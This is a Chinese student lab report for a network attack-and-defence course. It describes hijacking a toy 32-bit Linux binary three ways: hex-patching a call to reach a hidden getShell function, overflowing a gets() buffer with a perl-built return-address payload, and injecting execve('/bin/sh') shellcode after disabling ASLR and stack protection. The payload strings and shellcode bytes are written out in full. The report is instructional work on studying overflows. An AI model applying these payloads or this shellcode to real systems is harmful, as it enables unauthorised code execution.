20242903 2024-2025-2 《网络攻防实践》实践9报告
目录
1. 实践内容
本次实践对象为名为pwn1的Linux可执行文件,其正常执行流程为main调用foo函数实现输入回显。程序中存在未被调用的getShell函数(可返回Shell),目标是通过三种方式激活该代码段:
- 手工修改可执行文件,改变执行流程至
getShell函数 - 利用
foo函数的Bof漏洞构造攻击字符串,覆盖返回地址触发getShell - 注入自定义Shellcode并执行
2. 实验要求
- 掌握
NOP、JNE、JE、JMP、CMP汇编指令的机器码 - 掌握反汇编与十六进制编程器操作
- 能通过修改机器指令改变程序流程
- 能构造Bof攻击的payload
3. 实践过程
3.1 任务一:手工修改可执行文件
- 文件重命名与反汇编
将文件重命名为pwn2903yx后执行反汇编:objdump -d pwn2903yx | more


2. 分析反汇编结果与计算


可以看到反汇编后的结果,这里出现了<foo><getshell><main>等函数,我们的需求是要改变程序的执行流程,这里的main函数80484b5行是e8 d7 ff ff ff,他的作用是call 8048491
3. 修改
在修改前已经做好源文件的备份:

直接使用vim指令打开pwn2903文件会得到一串乱码,此时再次退出后输入:%!xxd指令可以查看16进制的格式

随后输入/e8 d7查找到需要修改的位置

找到位置后将其修改为c3 ff

随后输入指令:!xxd -r转为原来的格式
4. 验证


这里通过运行pwn2903yx和再次进行反编译文件可以得到验证修改成功
3.2 任务二:利用foo函数的Bof漏洞构造攻击字符串
- 反汇编分析
![]()
再次进行反汇编,对<foo>函数进行分析,发现其中关键的两行sub $0x38,%esp和lea -0x1c(%ebp),%eax,
对于foo函数的作用可以简单的理解为下述c语言函数
void foo() {
char buf[28]; // 位于 ebp - 0x1c 开始
gets(buf); // gets 不限制长度,易导致栈溢出
}
sub $0x38, %esp将栈顶 esp 向下移动 0x38(即 56)个字节。为局部变量预留 56 字节的空间。但指令lea -0x1c(%ebp), %eax获取一个局部缓冲区 buf 的地址。即28字节,而 gets() 不会限制输入长度,如果输入超过28字节,就会越过缓冲区边界,覆盖旧EBP和返回地址,从而造成栈溢出,执行任意代码,而旧的ebp会占据四个字节,因此需要在第32字节之后(第33~36字节) 填入 getShell() 的地址
2. gdb分析
下载并成功安装gdb

使用gdb进行分析


此时结合实验一也能找到getshell函数的地址为
因此输入28+4个字节后来确认是否为小端序

可以发现为小端序,因此使用命令编写并构造字符串
3. 编写字符串进行攻击
使用以下命令
perl -e 'print "A" x 28 . "\x7d\x84\x04\x08" . "\x0a"' > attack_input

"A" x 28 表示填充 28 个字节,填充到栈溢出的起始位置。"\x7d\x84\x04\x08" 是 getShell 函数的地址 0x0804847d 的字节表示(注意字节顺序是小端格式)。
"\x0a" 是换行符(用于终止输入)。

发现可以成功调用getshell函数,使用ls命令可以查看文件shell端口查看文件夹中文件,攻击成功
3.3 注入自定义Shellcode并执行
前面两种方式都是函数程序种本来就有getshell函数,通过跳转地址的方式直接去执行,但一般情况下不会有getshell函数,因此需要自己进行编写。
- 攻击环境设置
![]()
首先我们需要下载Execstack,根据链接下载并解压后可以控制操作系统设置堆栈可执行的权限。我们下载好这个软件之后,将pwn文件设置为堆栈可执行,并关闭随机地址化。
![]()
本次实验选择的构造攻击方式为anything+retaddr+nops+shellcode,使用的sheelcode内容如下
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
使用perl命令构造的字符串为
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
- 测试执行
构造完shellcode后,对于前四个字符我们暂时输入的为\x4\x3\x2\x1。此时需要来确认究竟应该填写什么,因此我们先将这个字符串注入程序中,观察程序究竟如何执行。
![]()
再打开另一个终端来找到进程号
![]()
这里我的进程过多因此需要先杀死前两个实验中的进程
![]()
这里找到进程号为11028
![]()
随后打开另外一个终端使用gdb进行分析
![]()
逆汇编foo函数并找到断点的位置为0x080484ae
![]()
设置完断点后继续运行运行至了断点处此时查看寄存器数据,看到运行到了0xffffd36c,查看0xffffd36c这个地址的数据,可以发现数据采用小端字节序我的\x1\x2\x3\x4进行了注入,因此下一跳位置应该为0xffffd370应该把\x1\x2\x3\x4修改为0xd370
于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。
![]()
获取getshell成功
3.实验问题及解决方案
- 下载gdb失败
![]()
第一个问题Kali 默认软件源中的部分软件包已被移除或迁移,导致 apt 试图下载旧版本包失败(404)。
![]()
将我的下载源更换为清华大学 Kali 镜像源即可解决 - 下载gdb失败
![]()
GPG 错误:缺少公钥,导致 Kali 镜像源不能被验证
![]()
将缺少的公钥(ED65462EC8D5E4C5)进行了导入
4.实践总结
本次实践通过手工修改可执行文件、利用栈溢出漏洞及注入自定义Shellcode三种方式,深入理解了程序执行流程控制与漏洞利用的核心原理,掌握 call、ret 等汇编指令的机器码结构,理解函数调用过程中栈帧的变化。熟悉 objdump、gdb 等工具的使用,能够通过反汇编分析程序逻辑,定位关键代码段。在调试Shellcode注入时,通过多终端协作和gdb 附加进程定位问题,提高了动态分析能力认识到缓冲区溢出漏洞的严重性,理解现代防御机制(如栈保护、ASLR)的必要性。实践中验证了“输入验证不足”导致的安全风险,为今后开发中编写安全代码提供警示。














浙公网安备 33010602011771号